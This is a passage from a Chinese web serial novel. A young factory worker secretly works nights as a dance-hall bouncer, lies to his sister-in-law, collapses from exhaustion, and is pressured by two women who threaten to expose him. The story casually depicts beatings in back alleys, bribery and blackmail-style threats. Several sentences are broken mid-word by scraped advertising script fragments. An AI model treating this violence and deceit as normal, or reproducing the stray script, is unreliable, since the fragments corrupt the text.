“哈哈哈!”梁经理拍桌大笑,笑得都快喘不上气了,忙拿出个小瓶子深深吸了一口,才缓过劲来。 我有点懵,不知道他在笑什么。 他意味深长瞅了我一眼:“没想到啊,像小唐哥你这样的猛人,居然是个妻管严。” 我愣住了,心想这什么跟什么啊? 但我没有纠正这个误会,心里想到嫂嫂,反而有点美滋滋。 就是仔细一想,又觉得不对劲。 他是怎么觉得我结婚了?我才二十岁不到啊。难道我看起来很显老? 可能是最近几天烦心事太多,每天都睡不好,有点沧桑吧。 我和梁经理迅速定了个新外号,私底下他还喊我小唐,但在外人面前,他说我打架贼猛,是他见过最牛逼的。 于是,他决定喊我“彪哥”。 我无所谓,反正就是个称呼。一个让我能踏踏实实在这兼职的遮羞布罢了。 …… 说说这家星光歌舞厅,现在,我已经是这里的保镖了。 可能是心态转变,我很快看到了那晚没注意到的东西。 一句话形容,这地方就像梁经理办公桌上那尊张大嘴的铜钱蟾蜍,吞金兽啊。 别看进场费才三十一个,可舞厅从晚九点营业到凌晨四五点,进进出出的人,怎么也有四五百。 这么一算,光进场费就一万打底了,还不算烟酒、水果、包厢点陪的收费。 难怪大b哥随随便便就能甩出一万块,豪气拍桌让我拿走。 对他来说,当真是洒洒水。 我在厂里苦干三年,都追不上别人一晚的收入。 羡慕得不行,但越想心里越不平衡。 凭什么呢? 凭什么我正经打份工毫无前途可言,来捞别人看不起的偏门,一下就成富哥们了? 经由梁经理介绍,服务生和一些女孩对我都恭恭敬敬的。 见到我就点头哈腰,叫我“彪哥”。 这名字听着陌生,但确实有力量感。 好似一瞬间,我从默默无闻的小工人,变成了一个让人敬畏的存在。 看场子的活儿其实很简单,基本上不用露面,打手加我一共五人。 他们没主动跟我讲话,我也没兴趣去套近乎,说实话,心里还是放不开。 我不断说服自己,这只是打份兼职,等挣够钱,把家里的窟窿填了…… 我还是想抽身,不想被这个新世界的旋涡卷进去。 所以,我尽可能不跟这帮人深入接触。 没事的时候,哪都可以待,客不满,包厢也可以拿来睡觉。 有事的话,得分情况。 在这种场所,各种矛盾摩擦随时都有可能爆发。 比如谁喝大了,撩了谁的妹,然后就干起来了。 这种情况,一般服务生出面就能摆平。 可要是闹到火拼的程度,服务生兜不住场面了,才轮到我们登场。 我们会把人拖到舞厅后门的胡同里,给予“爱的教育”。 但真正需要我们干活的地方,也是舞厅请我们这些打手的真正原因,是怕同行搞事情。 沙田这地儿,大大小小的歌舞厅起码十几家,可每晚出来嗨的人,始终是有限的。 就像那晚,黄毛突然摸了周琴,梁经理说这就是故意搞事儿。 把星光歌舞厅的名声搞臭,让别人以为来这玩不安全,老虎帮的场子自然就兴旺了。 现在外头那些摩的佬,都使劲把人往老虎帮的舞厅带。 这种帮派之间的倾轧,怪就怪周琴出门没看黄历,偏偏被那个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 死黄毛盯上。 再遇到这种事,道上规矩就是要打。 说白了,先进的娱乐设备,心满 意足的环境,加上漂亮的女孩,是舞厅的门面。 而我们这些打手,才是舞厅的后盾。 别人来踩场子,我们把人打走,也是一种招牌。 只用了个把小时,我便了解到了许多连老周都没提过的门道。 但说实话,我的兴致却不大,当下就窝在一间包厢里待命,默默念叨千万别来事。 老李教会了我,能摸鱼就摸鱼,我举一反三,直接用上了。 我也好困,连打几个哈欠。 还是担心嫂嫂会不会发现我又出厂了? 才答应嫂嫂再也不随便跑出厂,老老实实干活。我害怕嫂嫂对我失望。 而那几个打手哥们却精神抖擞得很,可能已经习惯夜生活吧。 他们跟几个漂亮女孩在包厢搂搂抱抱,经了解,这些女孩也是来打工的。 只要把昂贵的洋酒和果盘卖出去,便可抽取可观的提成。 闲着时,她们也跟打手玩成一片。 这可看得我眉头紧皱,实在不理解好好一个女孩家,怎么能如此随便。 有个女孩还往我这边凑,娇滴滴说:“彪哥,来玩嘛。” 她说的是摇骰子,玩大小,输了得挨惩罚,至于那惩罚,无法描述。 我内心极为抗拒,可转念一想,自己也在这地方干活了,不能轻易把人得罪,便借口说尿急,跑了。 结果刚进到厕所,纯洁的世界又一次遭受了重创。 臭熏熏的环境里,竟然传来隐隐约约的声音,不远处的隔间,门被顶得震动不停。 我赶紧从后门溜了出去,蹲在阴冷的胡同里,试图让自己保持冷静。 就这样又混了个把小时,我实在撑不住困意,挨在走廊打起了盹。 梁经理倒是关照我,邀请我到他办公室睡会儿。 可我哪好意思,明明是来打工的,还睡老板的办公室?这说出去像什么话! 我立马强撑起精神,笑着拒绝了,拿了瓶冰啤酒,一有困意就冰一下自己。 反反复复在迷糊和清醒间摩擦,终于熬到了散场。 那一瞬间,我感觉自己如获大赦,毫不犹豫地冲回厂子。 想着嫂嫂,想着食堂里的大肉包,想着能狠狠睡上一觉。 有件事很有必要一提,真不是我虚。 这几天都没睡踏实过,哪怕我钢筋做的也得垮啊! 第24章 我和她有了秘密? 此时凌晨四点多,天还蒙蒙亮。 门卫这个点也在睡大觉,呼噜声震天响,我很顺利就溜进去了。 要是被门卫发现,一两次或许不打紧,可要频繁,很难保证别人不会大嘴巴。 不过,针对这种情况我也早有准备,无非散散烟,送点酒水。 所谓吃人嘴软,拿人手短,门卫拿了我的好处,总不至于还跟我对着干吧。 我火速跑回宿舍,趁还有两三个小时,赶紧补觉,小命要紧。 要不然,白天上一天班,晚上又要兼职到通宵,迟早得崩。 可没睡一会,就被老李他们喊醒了。 一看才七点钟,距离上班还一个小时,真想倒头继续睡。 老李他们自然很好奇我昨夜去了哪,我也早想好了理由。 就说去找了一位亲戚,但我嫂嫂不喜欢那个人,所以得保密。 他们倒没有深究,我暗暗松了口气。 可说一个谎,就要用无数个谎去圆,这样下去真不是办法。 思来想去,还是得在外租个房子最靠谱。 厂里这帮人,嘴巴大得很,风吹草动都能传到天边。 果然有点钱,想法也大胆了不少,但怎么说服嫂嫂搬出去住呢? 这一万块也没法合理解释它的存在。 不过,办法总比困难多。 我打算先将钱分出两千,中午抽时间去趟邮局,寄回家里。 爸妈那倒是好解释,就说港城有个老板提携我,给我发了奖金。 反正离得远,两千不算太多,爸妈应该只会为我自豪。 说来说去,还是嫂嫂这关难过。 剩下八千块,也得找个地方藏稳妥。 宿舍就这么点大,也不能总带身上,看来得去办张卡了。 老李瞅了我一眼,皱着眉头问:“你怎么老捂着胸部,是不是哪里不舒服?” 我暗暗苦笑,这可是装有一万块的地方,能随便告诉他吗?当然不能! 不是信不过老李他们,而是防人之心不可无,尤其在金钱面前,千万别去挑战人性。 这是老周的谆谆教导,我牢牢记在心里。 可能是手头上有了钱吧,上班时我更加提不起劲了,甚至有点嗤之以鼻。 想起刚进厂那会儿的兴奋劲,现在看来真是傻得可以。 辛辛苦苦干一天,才挣十来块钱,妈的,真不如我老家那条耕地的牛。 不过,想归这么想,手上的活我还是认认真真干,清洗工作不敢怠慢。 对我来说,这是一种责任,不管这事好不好,经我手,就得负责。 好消息是,嫂嫂并没有发现端倪,吃饭那会我和她有说有笑,也顺利把钱走邮局汇出去了,还给自己办了—— 人生中的第一张银行卡! 看着卡面的长城,我心里那个美啊,赶紧塞内裤里,生怕别人看见。 我感觉自己要否极泰来了,前几天被王美玲整,那姓廖的扑街又惦记我嫂嫂,真的是诸事不顺。 但现在,王美玲这头母老虎的牙,已经被我拔了,态度好得离谱。 唯一不足,就是她要能正经点更好,别没事就拿我寻开心,总搞得我心里七上八下。 周琴也没再找我,让我挺轻松。 说句实话,这姑娘我虽然真不讨厌,却也真不打算和她有任何发展。 淡了也好,从此没了一根烦恼丝。 就这样。 世上从此有了两个我。 一个在白天,左手抹布,右手刷子,满身汗水混杂油污,散发着酸臭,卑微如尘。 另一个在晚上,确切来说是晚九点开始。 我双手插兜,别人无不恭敬喊一声“彪哥”,意气风发。 镭射灯下的世界,充满了各种诱惑和未知。 我在这喧嚣中穿行,感受着两种生活的巨大反差。 两种身份切换,感觉尤为新鲜。 可惜我还是没能找到那个平衡点,最关键的,是睡眠严重不足。 以至于,白天上班我都浑浑噩噩,反应经常慢半拍。 老李他们喊我,有时候喊几次我才反应过来。他们笑着调侃,“小唐,这是想哪家姑娘啦?” 还得在吃饭时,打起十二分精神陪嫂嫂聊天。 她又在念叨那份秘书的活,还说要找相关书籍学习。 我挺烦的,好几次差点忍不住。 自然不是烦嫂嫂,嫂嫂能有什么错呢,对我来说,她做什么都是对的。 错就错在姓廖的扑街! 他妈的,等着吧,迟早有一天,我让你真扑街。 而瞒着嫂嫂干她不喜欢的事,欺骗她,我心里面负担也很大。 又不能实话实说,我害怕她生气,怕她失望。 实在无奈,我只能步步为营,维持住这份微妙的平衡。 可我还是高估了自己的身体,这种难以形容的生活,磕磕碰碰持续一周多后。 那天,我刚从伟哥手里接过刷子,忽然就觉得脑袋特别沉,眼前渐渐变黑。 伟哥还开玩笑,“干嘛这是,喝酒了啊?小唐?喂!” 然后,我就没知觉了 。 再次醒来,我已经躺在医院的病床上,右手打着点滴。 脑袋像被人用锤子猛敲过,嗡嗡响,烦得我想把耳朵拧下来。 嫂嫂、王美玲、周琴,还有老李他们都围在床边,满脸担心地瞅着我。 “小浩,感觉怎么样了?”嫂嫂见我醒来,立马扑到床边,紧紧抓住我的手。 她光洁的脸上还挂着未干的泪痕,眼睛红彤彤的,显然不久前才爆哭过。 我心里一紧,想安抚她的情绪,但脑袋一片空白。 “没…没什么,我好了。” 舔了舔干燥的嘴唇,我勉强挤出笑容。 结果却惹得嫂嫂急了,她气恼道: “什么好了!大夫说你身体都透支了,小浩,你知不知道这多严重?” “大夫还说幸好是及时发现,不然,不然你可能醒不来了!” 她的声音带着颤抖,眼泪又止不住地流下来,搞得我好像真要丢下她而去一样。 听 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 到这里,我心里一惊,卧槽,这么严重吗? 如果世上有什么事能让我方寸大乱,那一定跟嫂嫂有关。 看到她这样,我真是手足无措,忙不迭道歉,发誓以后一定不会再发生这种事了。 好不容易,嫂嫂的情绪才平复下来,也多亏了王美玲帮忙。 王美玲说我这个时候要多休息,就先别那么闹腾了。 她告诉嫂嫂去弄个老母鸡煲汤,让我好好补补,嫂嫂立马就去了。 我也的确很累,很不舒服,眼皮重得像灌了铅。 只是,王美玲把其余人全支走后,又神叨叨地折返回来。 她往床边一坐,不知道床小吗,直接被那浑圆占了大半,手还自然而然般搭我小腹。 那笑容,傻子都能看出来不怀好意。 而我也是这时候才想起银行卡,忙摸了摸,摸到了才大松一口气,才踏实。 要是这卡丢了,那天真要塌了。 小小的卡里,可是寄存着我对未来所有的美好期待。 王美玲瞅着我这点小动作,好奇问:“藏什么好东西了?” 我没好气挥了挥手,挡住她的不安分,“多事,别烦我。” 由于最近我跟她走得挺近,关系也处于那种不清不楚的阶段。 主要是她动不动就来一句引人遐想的话,每当我窘迫,她就开心。 所以现在我讲话,也没开始时那么谨慎,随便就敢给她脸色瞧瞧。 王美玲不死心,虽然没再动手,嘴上却不饶人。 “说,最近一段时间你天天往外跑,干嘛去了!” 我暗暗一惊,心想这你怎么发现的。 王美玲笑得更得逞,“少跟姐姐耍花样,姐姐我可是火眼金睛。” “赶紧老实交代,否则抗拒从严!” 我想赖掉,便问怎么个严法。 她又把手伸来,似乎很清楚我拿这点没辙,被拿捏了。 “行,我说……” 于是,我就搬出忽悠老李他们的说辞,说是去找亲戚。 可王美玲是真不好骗,她嗤了声。 “少来,跑亲戚能给你跑透支?能让你每晚偷偷溜出去,凌晨四五点才回来?” 谎言被戳破,我也不尴尬,只是很无奈。 “大姐,你别就盯着我不放行不行?”我压低声音,试图让自己看起来真诚一些。 王美玲不依不饶,冷冷说:“小唐,你再不老实,我可要去找你嫂子谈心了。” “她要是知道你每晚都夜不归宿,会不会很生气呢?” “要我告诉她,你这身体素质这么好,是不是去干什么见不得人的事情啊?” 我倏然一惊。 这女人真是阴魂不散,草了! 我连忙双手合十,低声下气求饶: “姐,我告诉你可以,但你要帮我保密,千万要行不?” 王美玲笑得花枝乱颤,像只得意的狐狸。 那眼神里闪烁的光芒,分明有钩子。 “替你保密也不是不行,不过,你要怎么感谢姐姐我呢?” 第25章 走在钢丝上的甜蜜 王美玲这话让我心头大定,老周说过,世上每个人心里都有杆秤。 要想收买一个人,如果对方拒绝,倒不是这人的品德多么高尚。 是你给的不够。 所以看见王美玲这副模样,我立马清楚得下血本了。 我试探问,“好啊,多少钱?” 王美玲眉眼含笑,那笑容意味深长,她不紧不慢开口: “哟,发财了呀,你不是只带了八百块闯港城吗,这些天,也该没剩几个了吧?” 我很震惊,心想这女人算命的?怎么连这也知道? 转念一想,看来是嫂嫂那出问题了。 估计王美玲想打听我俩的底细,嫂嫂又太单纯,一下子就被套走了话。 眼下,这女人明摆也想套我的话。 想你的五香麻辣屁吃呢,要是嫂嫂,我扯谎心里面会很有负担,但王美玲?呵呵。 我摸了摸鼻子,佯装为难叹了口气。 “那你说吧,想要什么?” “要你行不。”王美玲又一次语出惊人。 见我愣住,她咯咯轻笑。 我被她搞得很恼火,本来就不舒服,还想着睡会。 这女人真是一点眼力见都没的,真是很不爽。 于是我没再惯着她,没好气道:“那就别光嘴上说,来啊!” 我以为这样可以将她一军,让她吃瘪。 她估计就是看我单纯,调侃我觉得好玩。 却是真没想到,王美玲竟认真道:“你把身子先养好,姐姐怕出人命呢。” 我草,这真让我不知该怎么接茬了。 心里面那叫后悔,早知道,就不该开这种玩笑话。 尬了几秒,我决定装惨博同情,便翻了个身捂住肚子,弓成虾一样。 王美玲道:“少来,医生说你哪哪都好,就是累坏了。” 这女人当真是阴魂不散。 “那你究竟想怎样。”我贼无奈问。 “说吧,这些天晚上干嘛去了?” 王美玲这回没再口头上占我便宜,我松了口气。 可不知道为什么,心里头莫名又有些不得劲。 哎呀,真的好烦。 她又补了句,“你要还是不老实,我就告诉林桃,说你当陪去了。” 此时此刻,王美玲给我的感觉就像那盘丝洞里的妖精。 她不急不躁,徐徐图之;而我,则越陷越深,失了方寸。 不过,机智如我,还是很快想到了应对之策。 我又叹了口气,“这不都是为了钱嘛,王姐,我不瞒你了。” “我和嫂嫂大老远跑这来打工,就是听人说这里待遇高。” “而我们家又欠债,所以我就打算兼职,西太隆街那边饭店多,我去洗盘子了。” 说到这,我语气那叫一个唏嘘。 也不全是谎话,只是替换了我在星光歌舞厅看场部分。 真真假假,不信这女人还能挑出毛病来。 但王美玲又给我上了一课,就是女人,是真他妈难对付。 她轻声一笑说:“小唐,你知不知当女人问你事,都是揣着答案问的?” “小琴这些天没找过你对吧,你难道就不好奇,她都干嘛去了呢?” 周琴这些天确实没来烦过我,我也乐得清闲,又哪会琢磨她在干什么。 却非我无情,只是知道,我和她之间,已经到头了。 王美玲的话让我有些不安,可还是硬撑着问: “她又咋了?” “好意思问!都怪你,给我这外甥女魂都勾走了。” 王美玲的语气有点幽怨,轻轻一叹。 “你真以为自己瞒天过海了?小琴跟着你没发现?” “她认为你拒绝她,是爱上别的女人了,就在那星光舞厅里。” “你每晚偷偷溜出去,又凌晨四五点才跑回来,她呀,在我这哭得老惨了。” 我心里咯噔一下,靠,不是吧,这周琴怎么那么闲? 有本书上说过,当你爱上某个人时,你的行为会莫名其妙,甚至几近疯狂。 周琴这是真爱上我了? 我心情复杂,心知肚明,这份爱,根本承受不起。 王美玲又道:“安慰她害我费了老劲,告诉她你只是去打工了。” “她也才没有那么伤心好吧,看看,你都造了什么孽。” 她的声音带着无奈,我也同样很无奈。 确实造孽啊! 沉默了一会。 我率先打破了这略显沉重的气氛。 “那我嫂嫂应该还什么都不知道吧?” 这始终还是我最关心的点。 “放心,姐姐这不给你兜着吗。”王美玲拍了拍我的肩膀,语气里带着些许宠溺。 听见这话,我再次心头大定。 王美玲这时候好像个名侦探,蛛丝马迹全被她拿捏了。 也是现在才知道,敢情她问我话,是想看我老不老实。 而我却好像个傻缺,自以为干的事天衣无缝。 “小唐,你这么能打,是不是去舞厅那当看场了?” 事已至此,我清楚没什么好隐瞒 了,索性一股脑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 儿坦白。 “是,但只是看场子,危险的事我可一概没碰。” 不料王美玲猛地站起,眼睛瞪圆,声音拔高了几度:“还不危险呀?” “知不知道沙田这,帮派火拼每天得死多少人?” 她反应如此激烈,让我心头不禁一热。 这是真关心我,我苦笑,“给的多嘛。” 王美玲没好气哼了声,“给的多,也要看你有没命花。” 我自然心里有数,点头道:“明白的,谢谢王姐担心我。” 她又叨叨了几句,劝我趁现在陷得还不深,赶紧收手。 别被眼前那点蝇头小利冲晕了,到时候再想抽身,就晚了。 王美玲确实不像简单的厂里小领导,她身上藏着不为人知的秘密。 说这些时,那唏嘘的语气就像过来人,那眼里的深邃,更让人有股冲动。 就想深入,深挖。 不过,我强行压下了这股欲望。 我一直默默地点头,任凭她说教,暗暗发誓绝对不会陷进去的。 等把家里的窟窿填上,立马收手! 好在王美玲答应继续替我保密,也没再提什么好处费。 她还愿意帮我捎句话,告诉梁经理我生病了,请两天假。 这两天,可以说是我来到港城后最轻松,最幸福的时光。 嫂嫂也请了假,全天候陪着我。 明明我都没什么事了,她却不放心,怎么劝都不肯回宿舍。 晚上她就趴在床边睡,我自然想让她上床。 不然一整夜这样趴着,多累啊。 可惜病床那么窄,她上来我就得下去,挤一起实在勉强。 六人间的病房,本来除了我都空着,结果该死不死晚上又住进来个老大叔。 我提了一嘴挤挤呗,嫂嫂立马瞪我,揪我,警告我不许再提。 嫂嫂也真是把我当猪崽来养了,一天三顿饭,顿顿有鸡汤。 鸡蛋一次好几个,那饭菜里,满满当当全是大块的肉。 她还要喂我吃,我虽难为情却当然乐意。 护士看不过眼,说了我嫂嫂好几句,嫂嫂羞红着脸没再继续。 我暗骂:你是真他妈多事! 也是太补了,补得我心里有股腾腾的火,却发泄不出来。 心里面那个甜啊,就像被灌了蜜。 这样躺在病床上从早到晚无所事事,想睡就睡,还有嫂嫂陪着,真是太幸福了。 只是,甜蜜包裹着的内心中,却还是隐隐有着一丢不安。 不清楚,这种甜蜜能否一直维持下去? 第26章 封口费 两天下来像猪那样吃了睡,睡了吃,我又回来了! 但堵心窝的麻烦,却还是没能解决,不仅没解决,还愈发脱离我的掌控。 医生特地叮嘱嫂嫂,说我这种情况千万不能大意。 别以为仗着年轻,就有资本造。 这次只是晕倒算轻了,万一多器官衰竭,可是会猝死的! 嫂嫂被这话吓得不轻,脸都白了,也更加坚定要去试试当秘书。 要不是我拦着,她都要找电话打给那姓廖的了! 嫂嫂竟然还知道姓廖的手机号,看来,姓廖的真是布好了整个网,就等嫂嫂上套。 她以为我是在车间太累了,所以,只要她努力点,我就可以轻松些。 还想去跟姓廖的求情,让他把我调到轻松的岗位上。 这可给我急坏了,情急之下,只能又撒下一个谎。 果然应了那句话,撒一个谎,就得用无数个谎来圆。 我说:“嫂,不用担心我,真的。” “我就是来港城这些天太兴奋了,看,这城市多繁华啊,尤其晚上,车水马龙的。” “我也想当有钱人,和你一起坐在小轿车上,所以睡不着觉,白天又要上班,哎!” 嫂嫂眉毛间的忧虑淡了些许,她问我真的吗,真不是工作太累了? 我连连点头,并保证以后该睡觉一定会睡觉,绝对不再熬夜。 嫂嫂这才被我说动,断了立马去找那姓廖的心思。 不过,当秘书的想法已经根植在她心里了。 当我说起秘书这活要全国各地飞,本以为嫂嫂会因此打退堂鼓。 她却只是迟疑了一会,然后跟我说可以试一试,不行再说。 妈了个巴子。 怎么可能让嫂嫂去试啊,试一试,不就试没了吗! 姓廖的这回出差要一个月,我就想,看来得尽快多搞点钱。 让嫂嫂,不用再为家里的债务烦心。 我要用实际行动让嫂嫂明白,这钱,我唐浩完全可以搞定! 然后,赶紧找个服装设计相关的培训班,不知道沙田这地到底有没有。 没有也得有! 分散嫂嫂的注意力,让她没空,这样总能让她打消去当秘书的念头吧? 但要做到这些,光有钱不够,我还是得赶紧想个办法,让手上的钱解释得通。 当下,我脑袋像被重锤敲了一下,直发懵。 而烦心事还接踵而来,压得我喘不过气。 前几天还以为自己终于转运了,结果是我想太多。 我问嫂嫂在食堂那,为啥突然生我气。 这问题憋在心里很久了,只是之前一直没机会问。 嫂嫂的回答,却让我异常头疼。 我心里那点小九九,大家都懂,没必要明说。 嫂嫂冷静地说:“小浩,忘了那晚我跟你讲的吧,我是你嫂嫂。” 我瞬间麻了,心里直喊:这怎么能忘?你告诉我怎么忘得掉! 答应我的,想赖掉? 嫂嫂接着说:“听廖主管说,你现在挺有出息的,和周琴正处对象呢。” 她又补了一句:“周琴是个好女孩,不能辜负。” 我心里直骂娘,辜负个屁,毛都没有发生,怎谈得上辜负二字? 都怪王美玲,出什么馊主意啊,害我陷入这烂摊子。 我急忙解释:“没啊,我和她比开水还要清白!” 结果嫂嫂眼神一冷,透着失望。 “小浩,我明白你在想什么,也该面对现实了。” “你不能这样,如果因为你的三心二意,伤害了别人,我……” 嫂嫂说到这,咬了咬下唇,语气陡然间加重了不少。 “我就再也不理你了,我说真的,你不要当我开玩笑。” 我心里一沉,嫂嫂的严肃让我感到前所未有的压力。 但又不知道怎么解释,只感觉越解释,越说不清。 我在最懵懂的时候暗恋她,最容易胡思乱想的年纪,看着她嫁入别家。 如今,好不容易终于让她来到我身边,却因为一些乱七八糟的事儿,弄得我感觉她离我越来越远。 关键嫂嫂根本不听我解释,直接摆手打断,说都是为了我好,将来我一定会明白。 因为这事,我和嫂嫂第一次闹得有些不愉快。 她语气里的冷漠,眼神中的疏离,真叫我心里堵得难受。 前面多美滋滋,现在就几千倍的苦哈哈。 真的是,我到底招谁惹谁了,怎么偏偏厄运就缠着我不放。 人生啊,真是他妈的复杂,想简单点都难! 心里头窝着的火,很想找个人发泄掉。 回厂里后,牛马干的活依旧一成不变,就跟死水差不多,毫无波澜。 讲真,这些天我时不时都会想,到底哪个才是真正的我? 是活在白天那个卑微如尘的清洁工,还是晚上意气风发的彪哥? 尽管王美玲的话我是听进去了,心里面也有打算,差不多就收手。 但有一说一,接触到镭射灯下那绚丽多彩的世界后,我的心也愈发躁动不安。 周 琴又找上了我,气冲冲说:“真讨厌,出院了也不跟人家说。” 说着,她又莫名其妙笑了起来,还又要搂住我的臂弯。 “浩哥,这两天人家都没去看你,你难道就没一丢丢想我嘛?” 这让我更添烦躁,哪怕她笑得再甜,语气再怎么娇滴滴,也无法驱散我心中的阴霾。 就因为她和王美玲,害嫂嫂对我的误会越来越深。 没去找她们算账,已经是几经忍耐,这时候怎么可能会给她好脸色看。 我挡着她,冷冰冰道:“我们不可能的,忘了我行不。” 本以为周琴又会委屈上,甚至哭闹,但我真顾不上那么多了。 我只想赶紧断干净,更想图个清净。 但这小妮子比我预想中的还要坚强,她没哭,也没闹。 只是静静看着我,直看得我心里发毛。 好一会后,她俏脸上又浮现笑,只不过,那笑容格外的平静。 “我知道啊,浩哥你不喜欢我,但 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我做不到不喜欢你,这能怪我么?” 我揉捏着发胀的额头,低声道:“那你怎样才能不喜欢我?” 周琴低着头,背负双手,脚尖轻轻踢开路边的小石子。 “那要不……我们试试吧。如果浩哥觉得还是不行,我,我会乖乖消失的。” 她抬起头,眸光亮亮的,做了个吸鼻子的动作。 没看见她哭,好像在硬憋。 “我会从你的世界彻底消失,这样,你就不会烦我了吧?” 靠,这话说的,哪怕我在怎么铁石心肠,也被她弄得酸楚了。 我说,姑奶奶,你又何必这样委屈自己?不觉得很怪吗? 周琴却说她也没办法,她说其实知道我挺烦她的。 都说男追女隔座山,女追男隔层纱。 她一个女孩家脸都不要了,这么主动我还不肯答应。 而她条件又不差,以前都是别人追她,追她的人可多,她都拒绝了。 为什么偏偏在我这会碰壁? 只能说明,我讨厌她。 可她到底做了什么,让我如此讨厌,她死活想不通。 所以这几天,她忍住没来医院找我,怕给我添堵,也想给自己点时间再想想。 想是想了,就是想来想去,心里面就都还是我。 这让她怎么办好呢? 她也想知道,所以,思来想去,她得出一个结论。 就是我和她试试,哪怕最后还是不行,这个亏她认了,不后悔,不纠缠。 反正就是一副不撞破南墙,坚决不回头。 我心好累,活了快二十岁,才终于有点尝到爱情是什么滋味。 可这两段感情,都他妈一个比一个艰难。 就嫂嫂现在对我的态度,我的期待,恐怕真要胎死腹中了。 而周琴对我的追求,又让我非常为难。 无论我怎么说,这小妮子就是不放弃,怎么办? 她突然提出让我亲她一下。 我当然拒绝,心里很清楚,一旦开始了,肯定比我要从道上脱身还要艰难。 “那好,你不亲我,我就去告诉小桃姐,你在舞厅上班!”她毫不退让。 此时离星光歌舞厅已经不远,她的话让我既为难,又着急。 “你敢!”我瞪眼。 她挺起胸脯,好似要彰显决心,“那我真去了,反正你都讨厌我。” 我们就这样僵持着。 被人拿捏住七寸,我实在拿她没辙,连忙好声好气求和:“换个要求行不?” “不要,我就要你亲我!”周琴不依不饶,声音也更大了。 这年头,她这行为还挺大胆的,路上已经有路人开始好奇地看过来。 我尬得很,果断把她拉到一个小巷子里,怕她再闹下去,全世界都知道了。 周琴闭上眼,长而翘的睫毛轻轻颤动,脸蛋微微昂起。 她紧张得不行,小手无处安放,揪着衣角,还稍稍踮起了脚尖。 可能是要保持平衡,她身子也有些抖。 我心里五味杂陈,这…… 第27章 亲不亲 看着周琴这副模样,我清楚今天如果不满足她,恐怕是很难收场了。 有人可能想说,不是,你矫情啥啊? 这个问题我也有想过,是啊,唐浩,这么个美女倒贴,你还挑三拣四。 真是狗看了都摇头。 可我就是过不去心里那关,更不想把初吻交代在这。 这玩意,不该留给最重要的人吗? 却又没其他办法了,周琴铁了心想让我亲她,不然,她就要同归于尽。 这不得给她嘴堵上,问题用什么堵? 或许是感觉到我的接近,周琴愈发显得紧张,俏脸红红的,呼吸更加浓烈,小手还揪着衣角,衣服都拉绷直了。 我心一横,终究还是低下头,轻轻在她额头上印了一下。 周琴猛睁开眼,眼中都是惊喜和满足。 “行了没。”我无奈问。 她笑得像偷了糖的小孩,又撞进我的怀里。 “浩哥,我真的真的好喜欢你!谢谢,嘻嘻。” 我承认,要说一点感觉都没有的话,自然是骗人的。 刚那一下,哪怕再轻再快,感觉依旧特别强烈。 她的额头很烫,可能是她身上最烫的地方了。 她说的话,也再一次冲击我的心湖。 人非草木,又怎么可能没有触动? 但我更多的,还是暗暗松了一口气,幸亏她没有要求更多。 这场闹剧,终于结束了吧? 她紧紧抱着我,像是要融化在我的怀里。 十根手指在我背后纠缠,拧了个结般,根本解不开。 我的双手无处安放,有那么一瞬间,确实想搂住她。 她那么软,真像棉花糖。 她的心跳非常快,而且强烈。 每一次起伏,都牵动我的心神。 不过,我还是把持住了,苦笑道:“姑奶奶,亲也亲完了,该松开我了吧。” “我还要上班的,迟到了影响不好。” 周琴把她的小脸蛋,在我胸口附近磨蹭了几下,像只小猫,想把主人的气味沾走。 “浩哥,好喜欢你喊我姑奶奶呢,多喊几句好不好。” 我真是给她逗得哭笑不得,这么奇怪的要求当真第一次听见。 反正亲都亲了,这点小要求,索性也满足她。 我就一遍一遍喊:“姑奶奶,姑奶奶…” 她这才心满意足放开了我,我转身就要走,想赶紧离开小巷。 幽深的小巷,好似有股神奇魔力,直把我往里头吸。 没走几步,周琴又揪住我的衣角,话语间,无不流露小女人的娇羞,和撒娇。 “浩哥,我也要去那个舞厅。” 我皱紧眉头,没好气说:“干嘛,还嫌上次不够危险啊?” 周琴的脑回路真叫我佩服,她竟然说: “我不怕,有你在我什么都不怕,小姨说那里头坏女人可多,我得看住你。” 我本想拒绝,转念一想,突然意识到好像并不是什么坏事。 对啊! 那的女孩真叫一个野,我说我很坏,周琴不信。 如果做点什么,眼见为实,这样她应该会死心了吧。 心有所想,我便不再多说啥了。 …… 星光歌舞厅的生意一如既往火爆,才十点不到,舞池那又人满为患。 动感的音乐如潮水涌来,一群年轻男女在镭射灯照射下,尽情摇摆。 经过我前面一周多观察,我得出个结论。 就是这帮人也真是吃饱了闲的,在那扭来扭去,到底有啥乐趣? 反正我实在不懂,不管多久,还是觉得格格不入。 吵死了,耳朵特别不舒服,像被什么侵犯一样。 周琴紧紧揪住我的衣服,像小猫咪依偎在我身边,显得有些不安。 我暗笑,看吧,我们根本不是一个世界的! 来到梁经理的办公室。 梁经理见着我,立马热情款款抱了上来。 “唐哥,恭喜康复啊,身体没问题了吧?哎呀,我可是恨不得跑医院看看你,真给我急坏了!” 我微微一笑,心中感激王美玲的细心安排。 不仅把话带给梁经理了,也没让他跑医院来。 要让嫂嫂和梁经理碰一起的话,那画面,想都不敢想。 梁经理很快注意到了周琴的存在,他好奇问: “这位小姐是……” 我很无奈,耸了耸肩,“跟屁虫来的。” 周琴不满地嘟囔:“我才不是跟屁虫,我是你媳妇!” 我没好气瞅了她一眼,用眼神警告她不许乱讲话。 周琴立马委屈得很。 这可给梁经理看了场笑话,他哈哈大笑,然后见怪不怪似地搂住我肩。 “咱小唐哥的魅力,真是无人能敌!” 我又跟梁经理寒暄了几句,便开始上班。 虽说大厅里头的人是多,可包厢却还是没满。 毕竟包厢里的消费,不是一般人能承受得起的。 在女孩们各种怂恿下,酒一瓶不开,果盘不点,不就挨鄙视吗? 出来玩 ,哪个不要 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 面子? 但光是果盘,就五十到一百不等,更别说红白酒水和洋酒,最次的也要四五百。 他娘的,等于我在工厂辛辛苦苦干足一个月,还不够在这开瓶酒。 只喝啤酒?那太掉价。 